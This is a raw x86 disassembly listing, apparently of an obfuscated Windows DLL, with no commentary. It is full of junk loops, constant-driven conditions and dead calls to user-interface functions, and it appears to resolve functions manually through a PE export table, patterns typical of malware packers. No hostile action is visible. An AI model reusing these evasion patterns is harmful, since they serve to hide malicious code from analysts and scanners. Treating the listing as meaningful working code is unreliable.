mov dword [ebp - 0x280], 0
jmp 0x1003f1bd
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 1
jg 0x1003f255
mov dword [ebp - 0x1578], 0xec752f67
mov dword [ebp - 0xa7c], 0xfffffffc
mov eax, dword [ebp - 0x278]
add eax, 9
cmp dword [ebp - 0xa7c], eax
jg 0x1003f1fb
mov dword [ebp - 0xa84], 1
jmp 0x1003f202
and dword [ebp - 0xa84], 0
mov eax, dword [ebp - 0x1578]
cmp dword [ebp - 0x280], eax
jge 0x1003f21c
mov dword [ebp - 0xa8c], 1
jmp 0x1003f223
and dword [ebp - 0xa8c], 0
mov eax, dword [ebp - 0xa84]
cmp eax, dword [ebp - 0xa8c]
jl 0x1003f23d
mov dword [ebp - 0xa94], 1
jmp 0x1003f244
and dword [ebp - 0xa94], 0
mov eax, dword [ebp - 0xa94]
mov dword [ebp - 0x18bc], eax
jmp 0x1003f1b0
jmp 0x1003f180
mov byte [ebp - 0x1d1], 0
movzx eax, byte [ebp - 0x1d1]
test eax, eax
je 0x1003f27e
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToUnicode]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1dbc]
call fcn.10022d9b
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0xa0], ax
jmp 0x100426a7
mov dword [ebp - 0x114], 0x3ae35568
mov dword [ebp - 0x1bdc], 8
mov dword [ebp - 0x1be4], 0xffffffff
mov dword [ebp - 0x1bec], 0xdd711a53
mov dword [ebp - 0xad4], 8
mov dword [ebp - 0x114], 0
jmp 0x1003f2e8
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x12
jl 0x1003f6f1
push 2
lea ecx, [ebp - 0x1328]
call fcn.10022d19
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x88], 0x83111738
mov dword [ebp - 0x1bf4], 1
mov dword [ebp - 0xa9c], 0x3efd
mov dword [ebp - 0x1584], 0x1000b870
cmp dword [ebp - 0xa9c], 0x4120
jle 0x1003f41c
and dword [ebp - 0x35c], 0
jmp 0x1003f357
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x5ab0
jge 0x1003f41c
and dword [ebp - 0x344], 0
jmp 0x1003f37d
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x2809
jge 0x1003f417
and dword [ebp - 0x34c], 0
jmp 0x1003f3a3
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0x7d54
jge 0x1003f412
and dword [ebp - 0x354], 0
jmp 0x1003f3c5
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0xddc
jge 0x1003f410
mov eax, dword [ebp - 0x344]
mov ecx, dword [ebp - 0x34c]
sar eax, cl
and eax, dword [ebp - 0x354]
or eax, dword [ebp - 0x35c]
cdq
mov dword [ebp - 0x1610], eax
mov dword [ebp - 0x160c], edx
push dword [ebp - 0x160c]
push dword [ebp - 0x1610]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003f3b8
jmp 0x1003f396
jmp 0x1003f370
jmp 0x1003f34a
mov dword [ebp - 0x364], 0
jmp 0x1003f435
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 2
jge 0x1003f457
push dword [ebp - 0x364]
lea ecx, [ebp - 0x1328]
call fcn.10022db7
mov dword [eax], 0xfffb
jmp 0x1003f428
cmp dword [ebp - 0xa9c], 0x3e11
jge 0x1003f473
mov edx, dword [ebp - 0x1584]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov dword [ebp - 0x88], 0
jmp 0x1003f48c
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jg 0x1003f6d0
mov dword [ebp - 0x204], 0xffffffff
mov dword [ebp - 0x204], 1
jmp 0x1003f4bc
mov eax, dword [ebp - 0x204]
dec eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0
jl 0x1003f5c4
mov dword [ebp - 0xaa4], 0x5bd6
mov dword [ebp - 0x17e4], 0x1000b898
cmp dword [ebp - 0xaa4], 0x5f07
jle 0x1003f561
and dword [ebp - 0x36c], 0
jmp 0x1003f4ff
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x5c6e
jge 0x1003f561
and dword [ebp - 0x374], 0
jmp 0x1003f521
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x725a
jge 0x1003f55f
mov eax, dword [ebp - 0x36c]
imul eax, dword [ebp - 0x374]
cdq
mov dword [ebp - 0x161c], eax
mov dword [ebp - 0x1618], edx
push dword [ebp - 0x1618]
push dword [ebp - 0x161c]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003f514
jmp 0x1003f4f2
cmp dword [ebp - 0xaa4], 0x580e
jge 0x1003f57d
mov edx, dword [ebp - 0x17e4]
mov ecx, 0x1008fbf8
call fcn.1002574f
push dword [ebp - 0x88]
lea ecx, [ebp - 0x1328]
call fcn.10022db7
cmp dword [eax], 0
je 0x1003f595
jmp 0x1003f5c4
mov byte [ebp - 0x189], 0
movzx eax, byte [ebp - 0x189]
test eax, eax
je 0x1003f5bf
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawIconEx]
jmp 0x1003f4af
push dword [ebp - 0x88]
lea ecx, [ebp - 0x1328]
call fcn.10022db7
push dword [ebp - 0x88]
lea ecx, [ebp - 0x1328]
call fcn.10022db7
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x204]
jne 0x1003f606
cmp dword [ebp - 0x88], 0
jne 0x1003f606
and dword [ebp - 0xaac], 0
jmp 0x1003f610
mov dword [ebp - 0xaac], 1
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0xaac]
imul eax, eax, 0x3072
test eax, eax
je 0x1003f644
push 1
lea ecx, [ebp - 0x1328]
call fcn.10022db7
cmp dword [eax], 0
je 0x1003f644
mov dword [ebp - 0xab4], 1
jmp 0x1003f64b
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0xab4]
sub eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x88]
jne 0x1003f66b
mov dword [ebp - 0xabc], 1
jmp 0x1003f672
and dword [ebp - 0xabc], 0
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0xabc]
neg eax
cmp eax, 0x4f77722a
je 0x1003f699
cmp dword [ebp - 0x88], 0
jne 0x1003f699
and dword [ebp - 0xac4], 0
jmp 0x1003f6a3
mov dword [ebp - 0xac4], 1
cmp dword [ebp - 0xac4], 0
jb 0x1003f6b8
mov dword [ebp - 0xacc], 1
jmp 0x1003f6bf
and dword [ebp - 0xacc], 0
mov eax, dword [ebp - 0xacc]
mov dword [ebp - 0x204], eax
jmp 0x1003f47f
mov eax, dword [ebp - 0xad4]
inc eax
mov dword [ebp - 0xad4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1328]
call fcn.10022d9b
jmp 0x1003f2db
mov dword [ebp - 0x1590], 0xf572
mov dword [ebp - 0x37c], 0x730f94f3
mov dword [ebp - 0xbc], 0
jmp 0x1003f71e
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 2
jge 0x1003f73a
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x1d9c], 1
jmp 0x1003f711
mov dword [ebp - 0xbc], 0
jmp 0x1003f753
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 4
jge 0x1003f76f
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x1fbc], 0x416db6d0
jmp 0x1003f746
mov eax, dword [ebp - 0x1590]
mov dword [ebp - 0x37c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1d9c], 0
je 0x1003f7a0
cmp dword [ebp - 0x37c], 1
je 0x1003f7a0
mov dword [ebp - 0xadc], 1
jmp 0x1003f7a7
and dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0xadc]
mov dword [ebp - 0x37c], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x37c]
mov dword [ebp + eax - 0x1fbc], ecx
mov eax, dword [0x10090cb0]
and eax, 1
jne 0x1003f7fd
mov eax, dword [0x10090cb0]
or eax, 1
mov dword [0x10090cb0], eax
mov dword [ebp - 4], 0x2e
mov ecx, 0x10095080
call fcn.10022f6e
push 0x1008b6c9
call fcn.10074e59
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xe8], 4
mov dword [ebp - 0xae4], 0x5038
mov dword [ebp - 0x159c], 0x1000b8d8
cmp dword [ebp - 0xae4], 0x511b
jle 0x1003f933
and dword [ebp - 0x39c], 0
jmp 0x1003f841
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0x5d67
jge 0x1003f933
and dword [ebp - 0x384], 0
jmp 0x1003f867
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x7595
jge 0x1003f92e
and dword [ebp - 0x38c], 0
jmp 0x1003f88d
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0x636b
jge 0x1003f929
and dword [ebp - 0x394], 0
jmp 0x1003f8b3
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x3ff7
jge 0x1003f924
mov eax, dword [ebp - 0x384]
add eax, dword [ebp - 0x38c]
mov ecx, dword [ebp - 0x394]
sar eax, cl
xor eax, dword [ebp - 0x39c]
cdq
mov dword [ebp - 0x1628], eax
mov dword [ebp - 0x1624], edx
push dword [ebp - 0x1624]
push dword [ebp - 0x1628]
lea ecx, [ebp - 0x2034]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x18f4], eax
mov ecx, dword [ebp - 0x18f4]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x2034]
call fcn.100229d5
jmp 0x1003f8a6
jmp 0x1003f880
jmp 0x1003f85a
jmp 0x1003f834
cmp dword [ebp - 0xae4], 0x4f89
jge 0x1003f94b
push dword [ebp - 0x159c]
call fcn.10074e83
pop ecx
mov dword [ebp - 0x3a4], 0
jmp 0x1003f964
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 3
jge 0x1003f980
mov eax, dword [ebp - 0x3a4]
mov dword [ebp + eax*4 - 0x1984], 0xffffffff
jmp 0x1003f957
mov dword [ebp - 0xe8], 2
jmp 0x1003f999
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jl 0x1003fae9
push 2
lea ecx, [ebp - 0x18c8]
call fcn.10022d19
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0x3ac], 0
jmp 0x1003f9d3
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 2
jge 0x1003f9f5
push dword [ebp - 0x3ac]
lea ecx, [ebp - 0x18c8]
call fcn.10022db7
mov dword [eax], 1
jmp 0x1003f9c6
push 1
lea ecx, [ebp - 0x18c8]
call fcn.10022db7
and dword [eax], 0
jmp 0x1003fa2b
push 1
lea ecx, [ebp - 0x18c8]
call fcn.10022db7
mov dword [ebp - 0xaec], eax
mov eax, dword [ebp - 0xaec]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xaec]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x18c8]
call fcn.10022db7
cmp dword [eax], 2
jg 0x1003fad5
mov dword [ebp - 0x3b4], 0
jmp 0x1003fa5a
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 1
jge 0x1003fa76
mov eax, dword [ebp - 0x3b4]
mov dword [ebp + eax*4 - 0x3bc], 0x8ef6b8f3
jmp 0x1003fa4d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3bc], 2
jmp 0x1003faa4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3bc], 0
jl 0x1003fad0
mov byte [ebp - 0x1e1], 0
movzx eax, byte [ebp - 0x1e1]
test eax, eax
je 0x1003face
push 0
call dword [sym.imp.USER32.dll_GetQueueStatus]
jmp 0x1003fa89
jmp 0x1003fa07
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18c8]
call fcn.10022d9b
jmp 0x1003f98c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1984], 0
je 0x1003fb8f
mov eax, dword [ebp - 0xe8]
add eax, 0x8ebf714
jne 0x1003fb1c
cmp dword [ebp - 0xe8], 0
jne 0x1003fb1c
and dword [ebp - 0xaf4], 0
jmp 0x1003fb26
mov dword [ebp - 0xaf4], 1
mov eax, dword [ebp - 0xaf4]
dec eax
je 0x1003fb44
mov eax, 0x736d0c11
test eax, eax
je 0x1003fb44
mov dword [ebp - 0xafc], 1
jmp 0x1003fb4b
and dword [ebp - 0xafc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1984]
cmp dword [ebp - 0xafc], eax
je 0x1003fb6c
mov dword [ebp - 0xb04], 1
jmp 0x1003fb73
and dword [ebp - 0xb04], 0
cmp dword [ebp - 0xb04], 0xffffffff
jne 0x1003fb88
mov dword [ebp - 0xb0c], 1
jmp 0x1003fb8f
and dword [ebp - 0xb0c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1984]
mov dword [ebp - 0x1bfc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1984]
mov dword [ebp - 0x1c04], eax
cmp dword [ebp - 0xe8], 0xfffffff7
jb 0x1003fbc9
mov dword [ebp - 0xb14], 1
jmp 0x1003fbd0
and dword [ebp - 0xb14], 0
mov eax, dword [ebp - 0xb14]
mov dword [ebp - 0xe8], eax
movzx eax, byte [0x10095008]
test eax, eax
je 0x1003ff7c
mov ecx, 0x10095080
call fcn.100483a5
movzx eax, al
test eax, eax
jne 0x1003ff7c
mov dword [ebp - 0x134], 1
push 3
lea ecx, [ebp - 0x199c]
call fcn.10022d19
mov dword [ebp - 4], 0x30
mov dword [ebp - 0x17ec], 0
mov dword [ebp - 0x3c4], 0
jmp 0x1003fc41
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 3
jge 0x1003fc63
push dword [ebp - 0x3c4]
lea ecx, [ebp - 0x199c]
call fcn.10022db7
mov dword [eax], 6
jmp 0x1003fc34
mov dword [ebp - 0x134], 0xfffffffc
jmp 0x1003fc7c
cmp dword [ebp - 0x134], 0xfffffff8
je 0x1003fd6a
mov dword [ebp - 0xb24], 0xa75c19c5
mov dword [ebp - 0x84c], 0x1dfe0091
mov eax, dword [ebp - 0xb24]
mov dword [ebp - 0x1c0c], eax
cmp dword [ebp - 0x134], 1
jne 0x1003fcbe
mov dword [ebp - 0xb1c], 1
jmp 0x1003fcc5
and dword [ebp - 0xb1c], 0
mov eax, dword [ebp - 0x134]
add eax, dword [ebp - 0xb1c]
cmp eax, dword [ebp - 0x134]
jl 0x1003fce5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x199c]
call fcn.10022d9b
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0xb54]
push eax
mov ecx, 0x10095080
call fcn.10023033
mov dword [ebp - 0xec], 1
mov dword [ebp - 0x3cc], 0
jmp 0x1003fdb4
cmp dword [ebp - 0x3cc], 3
jge 0x1003fdd0
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x414], 1
push 2
lea ecx, [ebp - 0x12c4]
call fcn.10022d19
mov dword [ebp - 4], 0x31
mov dword [ebp - 0xc14], 0xffffffff
mov dword [ebp - 0x18fc], 0xffffffff
mov dword [ebp - 0x17fc], 1
mov dword [ebp - 0x3dc], 0
jmp 0x1003ffd8
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 2
jge 0x1003fffa
push dword [ebp - 0x3dc]
lea ecx, [ebp - 0x12c4]
call fcn.10022db7
mov dword [eax], 0xf62131ac
jmp 0x1003ffcb
mov dword [ebp - 0x20], 0xffffffe6
jmp 0x1004000a
cmp dword [ebp - 0x20], 0xffffffe2
jle 0x100403fa
mov dword [ebp - 0xc4], 0x2aa61fc2
mov dword [ebp - 0x3ec], 0x860bc23c
mov dword [ebp - 0xbdc], 0xfffffffe
push 1
lea ecx, [ebp - 0x19b4]
call fcn.10022d19
mov byte [ebp - 4], 0x32
mov dword [ebp - 0x3e4], 0
jmp 0x1004005c
cmp dword [ebp - 0x3e4], 1
jge 0x1004007e
push dword [ebp - 0x3e4]
lea ecx, [ebp - 0x19b4]
call fcn.10022db7
mov dword [eax], 0x487b2547
jmp 0x1004004f
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c1c], eax
mov eax, 0x9740826f
test eax, eax
jne 0x100400a2
mov dword [ebp - 0xc34], 0x6bd1
mov dword [ebp - 0x15d8], 0x1000b8f8
cmp dword [ebp - 0xc34], 0x6e5c
jle 0x10040530
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
and dword [ebp - 0x3f4], 0
jmp 0x1004043c
cmp dword [ebp - 0x3f4], 0x1ea2
jge 0x10040530
mov dword [ebp - 0x414], 0xb584
mov eax, dword [ebp - 0x414]
sub eax, dword [ebp - 0x20]
jne 0x100405da
push 1
lea ecx, [ebp - 0x12c4]
call fcn.10022db7
cmp dword [eax], 0
jne 0x100405da
push 1
lea ecx, [ebp - 0x12c4]
call fcn.10022db7
cmp dword [eax], 0x870a6552
jbe 0x100405fb
cmp dword [ebp + 0x10], 0
jne 0x10042772
cmp dword [ebp - 0x214], 0xffffffff
je 0x10042772
mov dword [ebp - 0x65c], 0xfffffffc
mov dword [ebp - 0x1744], 0
mov dword [ebp - 0x1e50], 0x513c61c7
cmp dword [ebp - 0x65c], 0
je 0x10042740
mov dword [ebp - 0x1698], 0x83111738
mov dword [ebp - 0x654], 0
jmp 0x10042708
mov eax, dword [ebp - 0x654]
inc eax
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 3
jge 0x10042724
mov eax, dword [ebp - 0x654]
mov dword [ebp + eax*4 - 0x1f10], 0x568d526d
jmp 0x100426fb
mov eax, dword [ebp - 0x65c]
imul eax, dword [ebp - 0x1698]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1f10], eax
jmp 0x10042752
mov eax, dword [ebp - 0x65c]
add eax, dword [ebp - 0x65c]
mov dword [ebp - 0x1744], eax
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x21c]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x214]
mov ax, word [ecx + eax*2]
mov word [ebp - 0xa0], ax
mov dword [ebp - 0xebc], 0x385c
mov dword [ebp - 0x1748], 0x1000bb58
cmp dword [ebp - 0xebc], 0x390a
jle 0x1004286d
and dword [ebp - 0x664], 0
jmp 0x100427ac
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0x2ab5
jge 0x1004286d
and dword [ebp - 0x66c], 0
jmp 0x100427d2
mov eax, dword [ebp - 0x66c]
inc eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0xc92
jge 0x10042868
and dword [ebp - 0x674], 0
jmp 0x100427f8
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 0x516c
jge 0x10042863
mov eax, dword [ebp - 0x664]
add eax, dword [ebp - 0x66c]
mov ecx, dword [ebp - 0x674]
sar eax, cl
cdq
mov dword [ebp - 0x16c4], eax
mov dword [ebp - 0x16c0], edx
push dword [ebp - 0x16c0]
push dword [ebp - 0x16c4]
lea ecx, [ebp - 0x2184]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x16a4], eax
mov ecx, dword [ebp - 0x16a4]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x2184]
call fcn.100229d5
jmp 0x100427eb
jmp 0x100427c5
jmp 0x1004279f
push 2
lea ecx, [ebp - 0x1ddc]
call fcn.10022d19
mov dword [ebp - 4], 0x3c
cmp dword [ebp - 0xebc], 0x36a4
jge 0x10042899
push dword [ebp - 0x1748]
call fcn.10074e83
pop ecx
mov dword [ebp - 0x684], 0xfffffff9
mov dword [ebp - 0x67c], 0
jmp 0x100428bc
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 2
jge 0x100428de
push dword [ebp - 0x67c]
lea ecx, [ebp - 0x1ddc]
call fcn.10022db7
mov dword [eax], 1
jmp 0x100428af
mov dword [ebp - 0x684], 0
jmp 0x100428f7
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 1
jg 0x1004291c
mov byte [ebp - 0x1d5], 0
movzx eax, byte [ebp - 0x1d5]
test eax, eax
je 0x1004291a
push 0
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x100428ea
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1ddc]
call fcn.10022d9b
movzx eax, word [ebp - 0xa0]
cmp eax, 0xffff
je 0x10043efc
mov dword [ebp - 0x154], 0xffffffff
mov dword [ebp - 0x100], 3
mov dword [ebp - 0x154], 0x1d
jmp 0x1004296a
cmp dword [ebp - 0x154], 0x16
jne 0x10042d09
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x808], 0x3813bf58
mov dword [ebp - 0x810], 0xc3f30b9
mov dword [ebp - 0x15c], 9
mov dword [ebp - 0xf54], 0x2059515e
mov eax, dword [ebp - 0x100]
neg eax
sub eax, dword [ebp - 0x154]
je 0x100429ce
cmp dword [ebp - 0x14c], 0
je 0x100429ce
and dword [ebp - 0xec4], 0
cmp dword [ebp - 0xec4], 1
jge 0x100429ea
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x21c]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0xa0]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x1750], eax
push 3
lea ecx, [ebp - 0x19d8]
call fcn.10022d19
mov dword [ebp - 4], 0x3d
mov dword [ebp - 0x694], 0xffffffff
mov dword [ebp - 0xfcc], 2
mov dword [ebp - 0x40], 0
jmp 0x10042d60
cmp dword [ebp - 0x40], 3
jge 0x10042d7c
cmp dword [ebp - 0x10ec], 0x63ab
jge 0x10043f18
mov edx, dword [ebp - 0x1398]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov dword [ebp - 0x11b4], 0x183f
mov dword [ebp - 0x1408], 0x1000bd00
cmp dword [ebp - 0x11b4], 0x195b
jle 0x1004401a
and dword [ebp - 0x73c], 0
jmp 0x10043f52
mov eax, dword [ebp - 0x73c]
inc eax
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 0x16e5
jge 0x1004401a
and dword [ebp - 0x72c], 0
jmp 0x10043f78
mov eax, dword [ebp - 0x72c]
inc eax
mov dword [ebp - 0x72c], eax
cmp dword [ebp - 0x72c], 0x68b8
jge 0x10044015
and dword [ebp - 0x734], 0
jmp 0x10043f9e
mov eax, dword [ebp - 0x734]
inc eax
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 0x4f8b
jge 0x10044010
and dword [ebp - 0x744], 0
jmp 0x10043fc0
mov eax, dword [ebp - 0x744]
inc eax
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 0x3de3
jge 0x1004400e
mov eax, dword [ebp - 0x72c]
cdq
idiv dword [ebp - 0x734]
add edx, dword [ebp - 0x73c]
mov ecx, dword [ebp - 0x744]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x1700], eax
mov dword [ebp - 0x16fc], edx
push dword [ebp - 0x16fc]
push dword [ebp - 0x1700]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x10043fb3
jmp 0x10043f91
jmp 0x10043f6b
jmp 0x10043f45
mov dword [ebp - 0xf4], 1
mov dword [ebp - 0x1144], 0x2ee6d058
mov dword [ebp - 0x13d8], 0x69bd697e
mov dword [ebp - 0x10f4], 0x1cd8
mov dword [ebp - 0x13a8], 0x1000bd1c
cmp dword [ebp - 0x10f4], 0x200c
jle 0x100440fc
and dword [ebp - 0x74c], 0
jmp 0x10044072
mov eax, dword [ebp - 0x74c]
inc eax
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 0x63eb
jge 0x100440fc
and dword [ebp - 0x754], 0
jmp 0x10044094
mov eax, dword [ebp - 0x754]
inc eax
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 0x402d
jge 0x100440f7
mov eax, dword [ebp - 0x74c]
and eax, dword [ebp - 0x754]
cdq
mov dword [ebp - 0x170c], eax
mov dword [ebp - 0x1708], edx
push dword [ebp - 0x1708]
push dword [ebp - 0x170c]
lea ecx, [ebp - 0x2244]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x13a0], eax
mov ecx, dword [ebp - 0x13a0]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x2244]
call fcn.100229d5
jmp 0x10044087
jmp 0x10044065
mov dword [ebp - 0x119c], 0xfffffffc
cmp dword [ebp - 0x10f4], 0x1c28
jge 0x1004411e
push dword [ebp - 0x13a8]
call fcn.10074e83
pop ecx
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x10fc], 0x1ff6
mov dword [ebp - 0x13b0], 0x1000bd50
cmp dword [ebp - 0x10fc], 0x2032
jle 0x100441bf
and dword [ebp - 0x75c], 0
jmp 0x1004415e
mov eax, dword [ebp - 0x75c]
inc eax
mov dword [ebp - 0x75c], eax
cmp dword [ebp - 0x75c], 0x1be4
jge 0x100441bf
and dword [ebp - 0x764], 0
jmp 0x10044180
mov eax, dword [ebp - 0x764]
inc eax
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0x1d98
jge 0x100441bd
mov eax, dword [ebp - 0x75c]
sub eax, dword [ebp - 0x764]
cdq
mov dword [ebp - 0x1718], eax
mov dword [ebp - 0x1714], edx
push dword [ebp - 0x1714]
push dword [ebp - 0x1718]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x10044173
jmp 0x10044151
push 1
lea ecx, [ebp - 0x12b8]
call fcn.10022d19
mov dword [ebp - 4], 0x44
cmp dword [ebp - 0x10fc], 0x1d1e
jge 0x100441ef
mov edx, dword [ebp - 0x13b0]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov dword [ebp - 0x840], 2
mov dword [ebp - 0x3c], 0
jmp 0x10044209
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x1004421f
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1aa8], 0x85f70ad6
jmp 0x10044202
mov dword [ebp - 0x3c], 0
jmp 0x1004422f
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x1004424b
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x12b8]
call fcn.10022db7
mov dword [eax], 0x309642e4
jmp 0x10044228
mov dword [ebp - 0x3c], 0
jmp 0x1004425b
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jge 0x10044271
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1f34], 0xffffffff
jmp 0x10044254
mov dword [ebp - 0x11ac], 0x404a
mov dword [ebp - 0x1400], 0x1000bd98
cmp dword [ebp - 0x11ac], 0x41ad
jle 0x1004439c
and dword [ebp - 0x77c], 0
jmp 0x100442ab
mov eax, dword [ebp - 0x77c]
inc eax
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 0x19db
jge 0x1004439c
and dword [ebp - 0x76c], 0
jmp 0x100442d1
mov eax, dword [ebp - 0x76c]
inc eax
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0x717b
jge 0x10044397
and dword [ebp - 0x774], 0
jmp 0x100442f7
mov eax, dword [ebp - 0x774]
inc eax
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 0xc1
jge 0x10044392
and dword [ebp - 0x784], 0
jmp 0x1004431d
mov eax, dword [ebp - 0x784]
inc eax
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x784], 0x670
jge 0x1004438d
mov eax, dword [ebp - 0x76c]
imul eax, dword [ebp - 0x774]
and eax, dword [ebp - 0x77c]
and eax, dword [ebp - 0x784]
cdq
mov dword [ebp - 0x1724], eax
mov dword [ebp - 0x1720], edx
push dword [ebp - 0x1720]
push dword [ebp - 0x1724]
lea ecx, [ebp - 0x2274]
call fcn.100128ee
pop ecx
